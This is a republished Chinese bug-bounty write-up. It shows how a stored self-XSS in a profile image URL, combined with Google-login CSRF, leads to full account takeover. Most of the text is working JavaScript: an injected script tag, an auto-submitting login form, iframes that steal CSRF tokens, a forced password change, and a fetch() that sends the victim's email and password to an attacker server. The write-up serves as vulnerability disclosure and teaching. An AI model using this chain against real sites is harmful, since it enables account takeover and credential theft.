从存储型self-XSS到最终实现账号完全接管的示例分析

发布时间:2021-12-18 14:40:39 作者:柒染
来源:亿速云 阅读:108

本篇文章给大家分享的是有关从存储型self-XSS到最终实现账号完全接管的示例分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

下面讲述了作者从发现一个存储型的self-XSS,到利用目标网站的一些错误配置和功能,最终实现目标网站账号的完全接管。

漏洞利用过程概括如下:

漏洞发现&利用

在一个非公开漏洞赏金项目测试中,我在站点的个人简介设置功能中发现了一个简单的存储型XSS。该功能操作大概是,当从本地上传一张图片时,图片会被上传到非当前的另一服务器上,接下来的一个请求会将服务器图片地址保存到当前服务器上。我将该请求中的图片地址所在的参数加上了一个简单的XSS payload,类似这样&imageurl=https://example.com“><script>alert(1)</script>,接下来每次我访问个人简介的时候都会有提示框弹出。但是这只是一个self-XSS,我需要使其能在受害者方执行才行。

之前我了解到该站点支持google登录,那么可以使受害者通过访问下面的html代码登录我自己的账户,接着在5秒后使受害者访问账号的个人简介页从而触发存储型XSS。代码中的google登录用到的TOKEN可以在本地登录后抓取到,其有效期为一天,在有效期内发给受害者,受害者登录后TOKEN会保持自动更新有效性。

<html>
  <body>
    <form action="https://example.com/en/login?accessToken=TOKEN" method="POST">
      <input type="submit" value="Submit request" />
    </form>

    <script>
      document.forms[0].submit();
      setTimeout(function(){window.location="https://example.com/USERNAME/edit";}, 5000)
    </script>
  </body>
</html>

接着我在漏洞提交报告中阐述了以上的攻击细节,在受害者触发XSS之后攻击者可以做一些社工操作窃取受害者的数据,由于受害者浏览器访问的URL是同一网站的URL,这使得攻击可信度更高。该漏洞利用受到了h2漏洞分拣员的赞赏,但是他希望我可以实现对受害者的账户执行XSS,这样才能产生更高的影响。我想说这句话激励到了我,我对此表示感激。

所以接下来的任务就是实现登录受害者的账户并执行XSS。现在我比较好奇的是,如果受害者已经在网站登录了他的google账户的情况下,我们是否还可以触发XSS?答案是可以,我之前做了一些相关的研究和阅读,这篇@emgeekboy0的writeup帮助了我很多。

如那篇writeup提到的,我们首先需要将账户登出。在这个网站的场景下登出账户并不是一个简单的登出url就可以,而是还需要一个csrf令牌才可以登出。好在令牌就在站点源码中,可以很简单的通过XSS获取。接着我在js代码中通过加载一个iframe去实现账户的登出操作,代码部署到了我的服务器上,XSS的payload相比之前也就更新成了“><script src=”https://myserver.com/exploit.js”></script>。

//getting logout url with csrf token from source
//从源码中获取登出url使用到的csrf令牌
var y = JSON.parse(document.getElementById('conf').innerHTML);
var url = y.user.link.logOut

//First iframe to logout
//第一个iframe用于登出账号操作
var profileIframe = document.createElement('iframe');
 profileIframe.setAttribute('src', 'https://example.com'+url);
 profileIframe.setAttribute('id', 'pi');
 document.body.appendChild(profileIframe);

通过以上代码可以将之前已经登陆的攻击者账户登出,接下来需要通过google的登陆按钮登陆受害者的账户,但是现在的问题是并没有登陆google的url可用,唯一的方法就是点击google的登陆按钮。所以我开始研究javascript如何实现在DOM中点击按钮,并将其加入到脚本中。现在脚本整体功能稍显复杂,具体过程是在之前已经创建的第一个iframe中加载另一个iframe,为了后者iframe可以加载完成,在等待30秒后再触发其iframe中的DOM代码点击google登录按钮:

document.getElementById('pi').onload = function() {

//second iframe to login to victims google account
//第二个iframe用于登录受害者的google账号
 var profileIframe1 = document.createElement('iframe');
 profileIframe1.setAttribute('src', 'https://example.com/login');
 profileIframe1.setAttribute('id', 'lo1');
 document.body.appendChild(profileIframe1);

//waiting for 30 seconds for the iframe to load properly
//30秒等待iframe加载完成
document.getElementById('lo1').onload = function() {
        setTimeout(function(){ load() }, 30000)

        function load()
        {
            let iframe = document.getElementById('lo1');
            let inner = iframe.contentDocument || iframe.contentWindow.document;

            //Clicked google login in iframe to login to victim
            //iframe中实现点击google登录按钮,登录受害者的账户
            inner.getElementsByClassName("g_login")[1].click();

        }
    }
}

现在我们已经成功登录了受害者账户,既然已经都这了何不再利用该站点的其它配置错误实现对受害者账户的完全接管。Cookies是带有HttpOnly属性的,所以窃取Cookies是行不通的。不过我们可以在设置中给google账户添加一个密码,而且有趣的是添加新密码并不需要旧密码确认。所以现在我最后要做的是构造一个可以修改密码的javascript脚本,为此我们需要解决下面两个问题:


读者是否记得上面提到的窃取用于登出操作的csrf令牌的地方,同时也是可以获取用户名的。接着下来为了获取密码修改的csrf令牌,我在之前创建的iframe中创建了又一个用于窃取令牌的iframe,代码如下:

//wait 40 seconds to t login fully
//等待40秒完全登录
setTimeout(function(){ takeover() }, 40000)

function takeover()
{
    //Getting users parameters page url from source
    //从源码中获取账户名
    let iframe_second = document.getElementById('lo1');
    let inner1 = iframe_second.contentDocument || iframe_second.contentWindow.document;
    var z = JSON.parse(inner1.getElementById('conf').innerHTML);
    var param = z.user.link.parameter;


    // opens third iframe to steal csrf token for pass change
    //创建用于窃取用于修改密码令牌的第三个iframe
    // Where param is like /user/settings
    //param值是/user/settings
    var profileIframe2 = document.createElement('iframe');
    profileIframe1.setAttribute('src', 'https://example.com'+param);
    profileIframe1.setAttribute('id', 'lo2');
    document.body.appendChild(profileIframe2);

    //waiting 50 seconds to let the third iframe load fully
    //等待50秒以便于让第三个iframe可以加载完成
    document.getElementById('lo2').onload = function() {
        setTimeout(function(){ csrf() }, 50000)

        //Stealing csrf token from parameters page
        //从设置页面窃取csrf令牌
        function csrf() {
            let iframe_csrf = document.getElementById('lo2');
            let inner_csrf = iframe_csrf.contentDocument || iframe_csrf.contentWindow.document;
            var csrf = inner_csrf.getElementById("password__token").value;
        }
    }
}


密码修改用到的csrf令牌已拿到,只需要一个XMLHhttpRequest的POST请求就可以修改受害者账户的密码:

//account takover
//接管账户
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://example.com"+param+"/password", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
xhr.withCredentials = true;
var body = "setNewPassword_first=passwordQ!&setNewPassword_second=passwordQ!&setNewPassword%5Bcreate%5D=&setNewPassword%5B_token%5D="+csrf;
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i); 
xhr.send(new Blob([aBody]));

不过就目前情况作为攻击者来说,密码已经修改,但是还需要获取受害者的email账号才行。幸运的是,用户的email账户刚好存在该站点的localStorage中,接下来只需要用fetch函数将其发送到我的服务上:

fetch("https://myserver.com/email_password?=Email:"+localStorage.getItem('user_email')+" password:passwordQ!")

至此通过以上过程,完成了从存储型self-XSS到账户的完全接管。

以上就是从存储型self-XSS到最终实现账号完全接管的示例分析,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注亿速云行业资讯频道。

推荐阅读:
  1. Python中从attribute到property的示例分析
  2. Linux账号管理的示例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

self-xss

上一篇:web.py怎么安装使用

下一篇:如何进行springboot配置templates直接访问的实现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》